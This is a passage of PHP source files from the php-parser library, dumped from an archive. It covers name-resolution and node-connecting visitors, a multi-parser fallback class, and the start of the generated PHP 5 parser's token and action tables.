$this->preserveOriginalNames = $options['preserveOriginalNames'] ?? false; $this->replaceNodes = $options['replaceNodes'] ?? true; } /** * Get name resolution context. * * @return NameContext */ public function getNameContext() : NameContext { return $this->nameContext; } public function beforeTraverse(array $nodes) { $this->nameContext->startNamespace(); return null; } public function enterNode(Node $node) { if ($node instanceof Stmt\Namespace_) { $this->nameContext->startNamespace($node->name); } elseif ($node instanceof Stmt\Use_) { foreach ($node->uses as $use) { $this->addAlias($use, $node->type, null); } } elseif ($node instanceof Stmt\GroupUse) { foreach ($node->uses as $use) { $this->addAlias($use, $node->type, $node->prefix); } } elseif ($node instanceof Stmt\Class_) { if (null !== $node->extends) { $node->extends = $this->resolveClassName($node->extends); } foreach ($node->implements as &$interface) { $interface = $this->resolveClassName($interface); } $this->resolveAttrGroups($node); if (null !== $node->name) { $this->addNamespacedName($node); } } elseif ($node instanceof Stmt\Interface_) { foreach ($node->extends as &$interface) { $interface = $this->resolveClassName($interface); } $this->resolveAttrGroups($node); $this->addNamespacedName($node); } elseif ($node instanceof Stmt\Enum_) { foreach ($node->implements as &$interface) { $interface = $this->resolveClassName($interface); } $this->resolveAttrGroups($node); if (null !== $node->name) { $this->addNamespacedName($node); } } elseif ($node instanceof Stmt\Trait_) { $this->resolveAttrGroups($node); $this->addNamespacedName($node); } elseif ($node instanceof Stmt\Function_) { $this->resolveSignature($node); $this->resolveAttrGroups($node); $this->addNamespacedName($node); } elseif ($node instanceof Stmt\ClassMethod || $node instanceof Expr\Closure || $node instanceof Expr\ArrowFunction ) { $this->resolveSignature($node); $this->resolveAttrGroups($node); } elseif ($node instanceof Stmt\Property) { if (null !== $node->type) { $node->type = $this->resolveType($node->type); } $this->resolveAttrGroups($node); } elseif ($node instanceof Stmt\Const_) { foreach ($node->consts as $const) { $this->addNamespacedName($const); } } else if ($node instanceof Stmt\ClassConst) { $this->resolveAttrGroups($node); } else if ($node instanceof Stmt\EnumCase) { $this->resolveAttrGroups($node); } elseif ($node instanceof Expr\StaticCall || $node instanceof Expr\StaticPropertyFetch || $node instanceof Expr\ClassConstFetch || $node instanceof Expr\New_ || $node instanceof Expr\Instanceof_ ) { if ($node->class instanceof Name) { $node->class = $this->resolveClassName($node->class); } } elseif ($node instanceof Stmt\Catch_) { foreach ($node->types as &$type) { $type = $this->resolveClassName($type); } } elseif ($node instanceof Expr\FuncCall) { if ($node->name instanceof Name) { $node->name = $this->resolveName($node->name, Stmt\Use_::TYPE_FUNCTION); } } elseif ($node instanceof Expr\ConstFetch) { $node->name = $this->resolveName($node->name, Stmt\Use_::TYPE_CONSTANT); } elseif ($node instanceof Stmt\TraitUse) { foreach ($node->traits as &$trait) { $trait = $this->resolveClassName($trait); } foreach ($node->adaptations as $adaptation) { if (null !== $adaptation->trait) { $adaptation->trait = $this->resolveClassName($adaptation->trait); } if ($adaptation instanceof Stmt\TraitUseAdaptation\Precedence) { foreach ($adaptation->insteadof as &$insteadof) { $insteadof = $this->resolveClassName($insteadof); } } } } return null; } private function addAlias(Stmt\UseUse $use, $type, Name $prefix = null) { // Add prefix for group uses $name = $prefix ? Name::concat($prefix, $use->name) : $use->name; // Type is determined either by individual element or whole use declaration $type |= $use->type; $this->nameContext->addAlias( $name, (string) $use->getAlias(), $type, $use->getAttributes() ); } /** @param Stmt\Function_|Stmt\ClassMethod|Expr\Closure $node */ private function resolveSignature($node) { foreach ($node->params as $param) { $param->type = $this->resolveType($param->type); $this->resolveAttrGroups($param); } $node->returnType = $this->resolveType($node->returnType); } private function resolveType($node) { if ($node instanceof Name) { return $this->resolveClassName($node); } if ($node instanceof Node\NullableType) { $node->type = $this->resolveType($node->type); return $node; } if ($node instanceof Node\UnionType || $node instanceof Node\IntersectionType) { foreach ($node->types as &$type) { $type = $this->resolveType($type); } return $node; } return $node; } /** * Resolve name, according to name resolver options. * * @param Name $name Function or constant name to resolve * @param int $type One of Stmt\Use_::TYPE_* * * @return Name Resolved name, or original name with attribute */ protected function resolveName(Name $name, int $type) : Name { if (!$this->replaceNodes) { $resolvedName = $this->nameContext->getResolvedName($name, $type); if (null !== $resolvedName) { $name->setAttribute('resolvedName', $resolvedName); } else { $name->setAttribute('namespacedName', FullyQualified::concat( $this->nameContext->getNamespace(), $name, $name->getAttributes())); } return $name; } if ($this->preserveOriginalNames) { // Save the original name $originalName = $name; $name = clone $originalName; $name->setAttribute('originalName', $originalName); } $resolvedName = $this->nameContext->getResolvedName($name, $type); if (null !== $resolvedName) { return $resolvedName; } // unqualified names inside a namespace cannot be resolved at compile-time // add the namespaced version of the name as an attribute $name->setAttribute('namespacedName', FullyQualified::concat( $this->nameContext->getNamespace(), $name, $name->getAttributes())); return $name; } protected function resolveClassName(Name $name) { return $this->resolveName($name, Stmt\Use_::TYPE_NORMAL); } protected function addNamespacedName(Node $node) { $node->namespacedName = Name::concat( $this->nameContext->getNamespace(), (string) $node->name); } protected function resolveAttrGroups(Node $node) { foreach ($node->attrGroups as $attrGroup) { foreach ($attrGroup->attrs as $attr) { $attr->name = $this->resolveClassName($attr->name); } } } } res/readability/vendor/nikic/php-parser/lib/PhpParser/NodeVisitor/ParentConnectingVisitor.php000064400000001541147577714370026601 0ustar00$node->getAttribute('parent'). */ final class ParentConnectingVisitor extends NodeVisitorAbstract { /** * @var Node[] */ private $stack = []; public function beforeTraverse(array $nodes) { $this->stack = []; } public function enterNode(Node $node) { if (!empty($this->stack)) { $node->setAttribute('parent', $this->stack[count($this->stack) - 1]); } $this->stack[] = $node; } public function leaveNode(Node $node) { array_pop($this->stack); } } res/readability/vendor/nikic/php-parser/lib/PhpParser/NodeVisitor/CloningVisitor.php000064400000000766147577714370024741 0ustar00setAttribute('origNode', $origNode); return $node; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/NodeVisitor/NodeConnectingVisitor.php000064400000002560147577714370026237 0ustar00$node->getAttribute('parent'), the previous * node can be accessed through $node->getAttribute('previous'), * and the next node can be accessed through $node->getAttribute('next'). */ final class NodeConnectingVisitor extends NodeVisitorAbstract { /** * @var Node[] */ private $stack = []; /** * @var ?Node */ private $previous; public function beforeTraverse(array $nodes) { $this->stack = []; $this->previous = null; } public function enterNode(Node $node) { if (!empty($this->stack)) { $node->setAttribute('parent', $this->stack[count($this->stack) - 1]); } if ($this->previous !== null && $this->previous->getAttribute('parent') === $node->getAttribute('parent')) { $node->setAttribute('previous', $this->previous); $this->previous->setAttribute('next', $node); } $this->stack[] = $node; } public function leaveNode(Node $node) { $this->previous = $node; array_pop($this->stack); } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Parser/Multiple.php000064400000003164147577714370022545 0ustar00parsers = $parsers; } public function parse(string $code, ErrorHandler $errorHandler = null) { if (null === $errorHandler) { $errorHandler = new ErrorHandler\Throwing; } list($firstStmts, $firstError) = $this->tryParse($this->parsers[0], $errorHandler, $code); if ($firstError === null) { return $firstStmts; } for ($i = 1, $c = count($this->parsers); $i < $c; ++$i) { list($stmts, $error) = $this->tryParse($this->parsers[$i], $errorHandler, $code); if ($error === null) { return $stmts; } } throw $firstError; } private function tryParse(Parser $parser, ErrorHandler $errorHandler, $code) { $stmts = null; $error = null; try { $stmts = $parser->parse($code, $errorHandler); } catch (Error $error) {} return [$stmts, $error]; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Parser/Php5.php000064400000503160147577714370021567 0ustar00'", "T_IS_GREATER_OR_EQUAL", "T_SL", "T_SR", "'+'", "'-'", "'.'", "'*'", "'/'", "'%'", "'!'", "T_INSTANCEOF", "'~'", "T_INC", "T_DEC", "T_INT_CAST", "T_DOUBLE_CAST", "T_STRING_CAST", "T_ARRAY_CAST", "T_OBJECT_CAST", "T_BOOL_CAST", "T_UNSET_CAST", "'@'", "T_POW", "'['", "T_NEW", "T_CLONE", "T_EXIT", "T_IF", "T_ELSEIF", "T_ELSE", "T_ENDIF", "T_LNUMBER", "T_DNUMBER", "T_STRING", "T_STRING_VARNAME", "T_VARIABLE", "T_NUM_STRING", "T_INLINE_HTML", "T_ENCAPSED_AND_WHITESPACE", "T_CONSTANT_ENCAPSED_STRING", "T_ECHO", "T_DO", "T_WHILE", "T_ENDWHILE", "T_FOR", "T_ENDFOR", "T_FOREACH", "T_ENDFOREACH", "T_DECLARE", "T_ENDDECLARE", "T_AS", "T_SWITCH", "T_MATCH", "T_ENDSWITCH", "T_CASE", "T_DEFAULT", "T_BREAK", "T_CONTINUE", "T_GOTO", "T_FUNCTION", "T_FN", "T_CONST", "T_RETURN", "T_TRY", "T_CATCH", "T_FINALLY", "T_USE", "T_INSTEADOF", "T_GLOBAL", "T_STATIC", "T_ABSTRACT", "T_FINAL", "T_PRIVATE", "T_PROTECTED", "T_PUBLIC", "T_VAR", "T_UNSET", "T_ISSET", "T_EMPTY", "T_HALT_COMPILER", "T_CLASS", "T_TRAIT", "T_INTERFACE", "T_EXTENDS", "T_IMPLEMENTS", "T_OBJECT_OPERATOR", "T_LIST", "T_ARRAY", "T_CALLABLE", "T_CLASS_C", "T_TRAIT_C", "T_METHOD_C", "T_FUNC_C", "T_LINE", "T_FILE", "T_START_HEREDOC", "T_END_HEREDOC", "T_DOLLAR_OPEN_CURLY_BRACES", "T_CURLY_OPEN", "T_PAAMAYIM_NEKUDOTAYIM", "T_NAMESPACE", "T_NS_C", "T_DIR", "T_NS_SEPARATOR", "T_ELLIPSIS", "T_NAME_FULLY_QUALIFIED", "T_NAME_QUALIFIED", "T_NAME_RELATIVE", "';'", "'{'", "'}'", "'('", "')'", "'$'", "'`'", "']'", "'\"'", "T_READONLY", "T_ENUM", "T_NULLSAFE_OBJECT_OPERATOR", "T_ATTRIBUTE" ); protected $tokenToSymbol = array( 0, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 56, 163, 168, 160, 55, 168, 168, 158, 159, 53, 50, 8, 51, 52, 54, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 31, 155, 44, 16, 46, 30, 68, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 70, 168, 162, 36, 168, 161, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 156, 35, 157, 58, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 1, 2, 3, 4, 5, 6, 7, 9, 10, 11, 12, 13, 14, 15, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 32, 33, 34, 37, 38, 39, 40, 41, 42, 43, 45, 47, 48, 49, 57, 59, 60, 61, 62, 63, 64, 65, 66, 67, 69, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 164, 122, 123, 124, 125, 126, 127, 128, 129, 165, 130, 131, 132, 166, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 167 ); protected $action = array( 699, 669, 670, 671, 672, 673, 286, 674, 675, 676, 712, 713, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 0, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244,-32766,-32766,-32766,-32766,-32766, -32766,-32766,-32766,-32766,-32767,-32767,-32767,-32767, 245, 246, 242, 243, 244,-32766,-32766, 677,-32766, 750,-32766,-32766, -32766,-32766,-32766,-32766,-32766, 1224, 245, 246, 1225, 678, 679, 680, 681, 682, 683, 684,-32766, 48, 746,-32766, -32766,-32766,-32766,-32766,-32766, 685, 686, 687, 688, 689, 690, 691, 692, 693, 694, 695, 715, 738, 716, 717, 718, 719, 707, 708, 709, 737, 710, 711, 696, 697, 698, 700, 701, 702, 740, 741, 742, 743, 744, 745, 703, 704, 705, 706, 736, 727, 725, 726, 722, 723, 751, 714, 720, 721, 728, 729, 731, 730, 732, 733, 55, 56, 425, 57, 58, 724, 735, 734, 1073, 59, 60, -224, 61,-32766,-32766,-32766,-32766,-32766,-32766,-32766, -32766,-32766,-32766, 121,-32767,-32767,-32767,-32767, 29, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 1043, 766, 1071, 767, 580, 62, 63,-32766, -32766,-32766,-32766, 64, 516, 65, 294, 295, 66, 67, 68, 69, 70, 71, 72, 73, 822, 25, 302, 74, 418, 981, 983, 1043, 1181, 1095, 1096, 1073, 748, 754, 1075, 1074, 1076, 469,-32766,-32766,-32766, 337, 823, 54, -32767,-32767,-32767,-32767, 98, 99, 100, 101, 102, 220, 221, 222, 78, 361, 1107,-32766, 341,-32766,-32766,-32766, -32766,-32766, 1107, 492, 949, 950, 951, 948, 947, 946, 207, 477, 478, 949, 950, 951, 948, 947, 946, 1043, 479, 480, 52, 1101, 1102, 1103, 1104, 1098, 1099, 319, 872, 668, 667, 27, -511, 1105, 1100,-32766, 130, 1075, 1074, 1076, 345, 668, 667, 41, 126, 341, 334, 369, 336, 426, -128, -128, -128, 896, 897, 468, 220, 221, 222, 811, 1195, 619, 40, 21, 427, -128, 470, -128, 471, -128, 472, -128, 802, 428, -4, 823, 54, 207, 33, 34, 429, 360, 317, 28, 35, 473,-32766,-32766, -32766, 211, 356, 357, 474, 475,-32766,-32766,-32766, 754, 476, 49, 313, 794, 843, 430, 431, 289, 125,-32766, 813,-32766,-32766,-32766,-32766,-32766,-32766,-32766,-32767,-32767, -32767,-32767,-32767,-32766,-32766,-32766, 769, 103, 104, 105, 327, 307, 825, 633, -128, 1075, 1074, 1076, 221, 222, 927, 748, 1146, 106,-32766, 129,-32766,-32766,-32766,-32766, 426, 823, 54, 902, 873, 302, 468, 75, 207, 359, 811, 668, 667, 40, 21, 427, 754, 470, 754, 471, 423, 472, 1043, 127, 428, 435, 1043, 341, 1043, 33, 34, 429, 360, 1181, 415, 35, 473, 122, 10, 315, 128, 356, 357, 474, 475,-32766,-32766,-32766, 768, 476, 668, 667, 758, 843, 430, 431, 754, 1043, 1147,-32766, -32766,-32766, 754, 419, 342, 1215,-32766, 131,-32766,-32766, -32766, 341, 363, 346, 426, 823, 54, 100, 101, 102, 468, 825, 633, -4, 811, 442, 903, 40, 21, 427, 754, 470, 435, 471, 341, 472, 341, 766, 428, 767, -209, -209, -209, 33, 34, 429, 360, 479, 1196, 35, 473, 345,-32766,-32766,-32766, 356, 357, 474, 475, 220, 221, 222, 421, 476, 32, 297, 794, 843, 430, 431, 754, 754, 435,-32766, 341,-32766,-32766, 9, 300, 51, 207, 249, 324, 753, 120, 220, 221, 222, 426, 30, 247, 941, 422, 424, 468, 825, 633, -209, 811, 1043, 1061, 40, 21, 427, 129, 470, 207, 471, 341, 472, 804, 20, 428, 124, -208, -208, -208, 33, 34, 429, 360, 479, 212, 35, 473, 923, -259, 823, 54, 356, 357, 474, 475,-32766,-32766,-32766, 1043, 476, 213, 806, 794, 843, 430, 431,-32766,-32766, 435, 435, 341, 341, 443, 79, 80, 81,-32766, 668, 667, 636, 344, 808, 668, 667, 239, 240, 241, 123, 214, 538, 250, 825, 633, -208, 36, 251, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 252, 307, 426, 220, 221, 222, 823, 54, 468,-32766, 222, 765, 811, 106, 134, 40, 21, 427, 571, 470, 207, 471, 445, 472, 207,-32766, 428, 896, 897, 207, 307, 33, 34, 429, 245, 246, 637, 35, 473, 452, 22, 809, 922, 356, 357, 457, 588, 135, 374, 595, 596, 476, -228, 759, 639, 938, 653, 926, 661, -86, 823, 54, 314, 644, 647, 821, 133, 836, 43, 106, 603, 44, 45, 46, 47, 748, 50, 53, 132, 426, 302,-32766, 520, 825, 633, 468, -84, 607, 577, 811, 641, 362, 40, 21, 427, -278, 470, 754, 471, 954, 472, 441, 627, 428, 823, 54, 574, 844, 33, 34, 429, 11, 615, 845, 35, 473, 444, 461, 285, -511, 356, 357, 592, -419, 593, 1106, 1153, -410, 476, 368, 838, 38, 658, 426, 645, 795, 1052, 0, 325, 468, 0,-32766, 0, 811, 0, 0, 40, 21, 427, 0, 470, 0, 471, 0, 472, 0, 322, 428, 823, 54, 825, 633, 33, 34, 429, 0, 326, 0, 35, 473, 323, 0, 316, 318, 356, 357, -512, 426, 0, 753, 531, 0, 476, 468, 6, 0, 0, 811, 650, 7, 40, 21, 427, 12, 470, 14, 471, 373, 472, -420, 562, 428, 823, 54, 78, -225, 33, 34, 429, 39, 656, 657, 35, 473, 859, 633, 764, 812, 356, 357, 820, 799, 814, 875, 866, 867, 476, 797, 860, 857, 855, 426, 933, 934, 931, 819, 803, 468, 805, 807, 810, 811, 930, 762, 40, 21, 427, 763, 470, 932, 471, 335, 472, 358, 634, 428, 638, 640, 825, 633, 33, 34, 429, 642, 643, 646, 35, 473, 648, 649, 651, 652, 356, 357, 635, 426, 1221, 1223, 761, 842, 476, 468, 248, 760, 841, 811, 1222, 840, 40, 21, 427, 1057, 470, 830, 471, 1045, 472, 839, 1046, 428, 828, 215, 216, 939, 33, 34, 429, 217, 864, 218, 35, 473, 825, 633, 24, 865, 356, 357, 456, 1220, 1189, 209, 1187, 1172, 476, 1185, 215, 216, 1086, 1095, 1096, 914, 217, 1193, 218, 1183, -224, 1097, 26, 31, 37, 42, 76, 77, 210, 288, 209, 292, 293, 308, 309, 310, 311, 339, 1095, 1096, 825, 633, 355, 291, 416, 1152, 1097, 16, 17, 18, 393, 453, 460, 462, 466, 552, 624, 1048, 1051, 904, 1111, 1047, 1023, 563, 1022, 1088, 0, 0, -429, 558, 1041, 1101, 1102, 1103, 1104, 1098, 1099, 398, 1054, 1053, 1056, 1055, 1070, 1105, 1100, 1186, 1171, 1167, 1184, 1085, 1218, 1112, 1166, 219, 558, 599, 1101, 1102, 1103, 1104, 1098, 1099, 398, 0, 0, 0, 0, 0, 1105, 1100, 0, 0, 0, 0, 0, 0, 0, 0, 219 ); protected $actionCheck = array( 2, 3, 4, 5, 6, 7, 14, 9, 10, 11, 12, 13, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 0, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 9, 10, 11, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 69, 70, 53, 54, 55, 9, 10, 57, 30, 80, 32, 33, 34, 35, 36, 37, 38, 80, 69, 70, 83, 71, 72, 73, 74, 75, 76, 77, 9, 70, 80, 33, 34, 35, 36, 37, 38, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 153, 133, 134, 135, 136, 137, 138, 139, 140, 141, 3, 4, 5, 6, 7, 147, 148, 149, 80, 12, 13, 159, 15, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 156, 44, 45, 46, 47, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 13, 106, 116, 108, 85, 50, 51, 33, 34, 35, 36, 56, 85, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 1, 70, 71, 72, 73, 59, 60, 13, 82, 78, 79, 80, 80, 82, 152, 153, 154, 86, 9, 10, 11, 8, 1, 2, 44, 45, 46, 47, 48, 49, 50, 51, 52, 9, 10, 11, 156, 106, 143, 30, 160, 32, 33, 34, 35, 36, 143, 116, 116, 117, 118, 119, 120, 121, 30, 124, 125, 116, 117, 118, 119, 120, 121, 13, 133, 134, 70, 136, 137, 138, 139, 140, 141, 142, 31, 37, 38, 8, 132, 148, 149, 116, 156, 152, 153, 154, 160, 37, 38, 158, 8, 160, 161, 8, 163, 74, 75, 76, 77, 134, 135, 80, 9, 10, 11, 84, 1, 80, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 155, 98, 0, 1, 2, 30, 103, 104, 105, 106, 132, 8, 109, 110, 9, 10, 11, 8, 115, 116, 117, 118, 9, 10, 11, 82, 123, 70, 8, 126, 127, 128, 129, 8, 156, 30, 155, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 9, 10, 11, 157, 53, 54, 55, 8, 57, 155, 156, 157, 152, 153, 154, 10, 11, 157, 80, 162, 69, 30, 151, 32, 33, 34, 35, 74, 1, 2, 159, 155, 71, 80, 151, 30, 8, 84, 37, 38, 87, 88, 89, 82, 91, 82, 93, 8, 95, 13, 156, 98, 158, 13, 160, 13, 103, 104, 105, 106, 82, 108, 109, 110, 156, 8, 113, 31, 115, 116, 117, 118, 9, 10, 11, 157, 123, 37, 38, 126, 127, 128, 129, 82, 13, 159, 33, 34, 35, 82, 127, 8, 85, 30, 156, 32, 33, 34, 160, 8, 147, 74, 1, 2, 50, 51, 52, 80, 155, 156, 157, 84, 31, 159, 87, 88, 89, 82, 91, 158, 93, 160, 95, 160, 106, 98, 108, 100, 101, 102, 103, 104, 105, 106, 133, 159, 109, 110, 160, 9, 10, 11, 115, 116, 117, 118, 9, 10, 11, 8, 123, 144, 145, 126, 127, 128, 129, 82, 82, 158, 30, 160, 32, 33, 108, 8, 70, 30, 31, 113, 152, 16, 9, 10, 11, 74, 14, 14, 122, 8, 8, 80, 155, 156, 157, 84, 13, 159, 87, 88, 89, 151, 91, 30, 93, 160, 95, 155, 159, 98, 14, 100, 101, 102, 103, 104, 105, 106, 133, 16, 109, 110, 155, 157, 1, 2, 115, 116, 117, 118, 9, 10, 11, 13, 123, 16, 155, 126, 127, 128, 129, 33, 34, 158, 158, 160, 160, 156, 9, 10, 11, 30, 37, 38, 31, 70, 155, 37, 38, 50, 51, 52, 156, 16, 81, 16, 155, 156, 157, 30, 16, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 16, 57, 74, 9, 10, 11, 1, 2, 80, 116, 11, 155, 84, 69, 156, 87, 88, 89, 160, 91, 30, 93, 132, 95, 30, 33, 98, 134, 135, 30, 57, 103, 104, 105, 69, 70, 31, 109, 110, 75, 76, 155, 155, 115, 116, 75, 76, 101, 102, 111, 112, 123, 159, 155, 156, 155, 156, 155, 156, 31, 1, 2, 31, 31, 31, 31, 31, 38, 70, 69, 77, 70, 70, 70, 70, 80, 70, 70, 70, 74, 71, 85, 85, 155, 156, 80, 97, 96, 100, 84, 31, 106, 87, 88, 89, 82, 91, 82, 93, 82, 95, 89, 92, 98, 1, 2, 90, 127, 103, 104, 105, 97, 94, 127, 109, 110, 97, 97, 97, 132, 115, 116, 100, 146, 113, 143, 143, 146, 123, 106, 151, 155, 157, 74, 31, 157, 162, -1, 114, 80, -1, 116, -1, 84, -1, -1, 87, 88, 89, -1, 91, -1, 93, -1, 95, -1, 130, 98, 1, 2, 155, 156, 103, 104, 105, -1, 130, -1, 109, 110, 131, -1, 132, 132, 115, 116, 132, 74, -1, 152, 150, -1, 123, 80, 146, -1, -1, 84, 31, 146, 87, 88, 89, 146, 91, 146, 93, 146, 95, 146, 150, 98, 1, 2, 156, 159, 103, 104, 105, 155, 155, 155, 109, 110, 155, 156, 155, 155, 115, 116, 155, 155, 155, 155, 155, 155, 123, 155, 155, 155, 155, 74, 155, 155, 155, 155, 155, 80, 155, 155, 155, 84, 155, 155, 87, 88, 89, 155, 91, 155, 93, 156, 95, 156, 156, 98, 156, 156, 155, 156, 103, 104, 105, 156, 156, 156, 109, 110, 156, 156, 156, 156, 115, 116, 156, 74, 157, 157, 157, 157, 123, 80, 31, 157, 157, 84, 157, 157, 87, 88, 89, 157, 91, 157, 93, 157, 95, 157, 157, 98, 157, 50, 51, 157, 103, 104, 105, 56, 157, 58, 109, 110, 155, 156, 158, 157, 115, 116, 157, 157, 157, 70, 157, 157, 123, 157, 50, 51, 157, 78, 79, 157, 56, 157, 58, 157, 159, 86, 158, 158, 158, 158, 158, 158, 158, 158, 70, 158, 158, 158, 158, 158, 158, 158, 78, 79, 155, 156, 158, 160, 158, 163, 86, 159, 159, 159, 159, 159, 159, 159, 159, 159, 159, 159, 159, 159, 159, 159, 159, 159, 159, 159, -1, -1, 161, 134, 161, 136, 137, 138, 139, 140, 141, 142, 162, 162, 162, 162, 162, 148, 149, 162, 162, 162, 162, 162, 162, 162, 162, 158, 134, 162, 136, 137, 138, 139, 140, 141, 142, -1, -1, -1, -1, -1, 148, 149, -1, -1, -1, -1, -1, -1, -1, -1, 158 ); protected $actionBase = array( 0, 227, 326, 400, 474, 233, 132, 132, 752, -2, -2, 138, -2, -2, -2, 663, 761, 815, 761, 586, 717, 859, 859, 859, 244, 256, 256, 256, 413, 583, 583, 880, 546, 169, 415, 444, 409, 200, 200, 200, 200, 137, 137, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 249, 205, 738, 559, 535, 739, 741, 742, 876, 679, 877, 820, 821, 693, 823, 824, 826, 829, 832, 819, 834, 907, 836, 602, 602, 602, 602, 602, 602, 602, 602, 602, 602, 602, 602, 67, 536, 299, 510, 230, 44, 652, 652, 652, 652, 652, 652, 652, 337, 337, 337, 337, 337, 337, 337, 337, 337, 337, 337, 337, 337, 337, 337, 337, 337, 337, 378, 584, 584, 584, 657, 909, 648, 934, 934, 934, 934, 934, 934, 934, 934, 934, 934, 934, 934, 934, 934, 934, 934, 934, 934, 934, 934, 934, 934, 934, 934, 934, 934, 934, 934, 934, 934, 934, 934, 934, 934, 934, 934, 934, 934, 934, 934, 934, 934, 934, 934, 503, -21, -21, 436, 650, 364, 571, 215, 426, 156, 26, 26, 329, 329, 329, 329, 329, 46, 46, 5, 5, 5, 5, 152, 186, 186, 186, 186, 120, 120, 120, 120, 374, 374, 429, 448, 448, 334, 267, 449, 449, 449, 449, 449, 449, 449, 449, 449, 449, 336, 427, 427, 572, 572, 408, 551, 551, 551, 551, 671, 171, 171, 391, 311, 311, 311, 109, 641, 856, 68, 68, 68, 68, 68, 68, 324, 324, 324, -3, -3, -3, 655, 77, 380, 77, 380, 683, 685, 86, 685, 654, -15, 516, 776, 281, 646, 809, 680, 816, 560, 711, 202, 578, 857, 643, -23, 578, 578, 578, 578, 857, 622, 628, 596, -23, 578, -23, 639, 454, 849, 351, 249, 558, 469, 631, 743, 514, 688, 746, 464, 544, 548, 556, 7, 412, 708, 750, 878, 879, 349, 702, 631, 631, 631, 327, 101, 7, -8, 623, 623, 623, 623, 219, 623, 623, 623, 623, 291, 430, 545, 401, 745, 653, 653, 675, 839, 814, 814, 653, 673, 653, 675, 841, 841, 841, 841, 653, 653, 653, 653, 814, 814, 667, 814, 275, 684, 694, 694, 841, 713, 714, 653, 653, 697, 814, 814, 814, 697, 687, 841, 669, 637, 333, 814, 841, 689, 673, 689, 653, 669, 689, 673, 673, 689, 22, 686, 656, 840, 842, 860, 756, 638, 644, 847, 848, 843, 845, 838, 692, 719, 720, 528, 659, 660, 661, 662, 696, 664, 698, 643, 658, 658, 658, 645, 701, 645, 658, 658, 658, 658, 658, 658, 658, 658, 632, 635, 709, 699, 670, 723, 566, 582, 758, 640, 636, 872, 865, 881, 883, 849, 870, 645, 890, 634, 288, 610, 850, 633, 753, 645, 851, 645, 759, 645, 873, 777, 666, 778, 779, 658, 874, 891, 892, 893, 894, 897, 898, 899, 900, 665, 901, 724, 674, 866, 344, 844, 639, 705, 677, 755, 725, 780, 372, 902, 784, 645, 645, 765, 706, 645, 766, 726, 712, 862, 727, 867, 903, 640, 678, 868, 645, 681, 785, 904, 372, 690, 651, 704, 649, 728, 858, 875, 853, 767, 612, 617, 787, 788, 792, 691, 730, 863, 864, 835, 731, 770, 642, 771, 676, 794, 772, 852, 732, 796, 798, 871, 647, 707, 682, 672, 668, 773, 799, 869, 733, 735, 736, 801, 737, 804, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 137, 137, 137, 137, -2, -2, -2, -2, 0, 0, -2, 0, 0, 0, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 137, 0, 0, 137, 137, 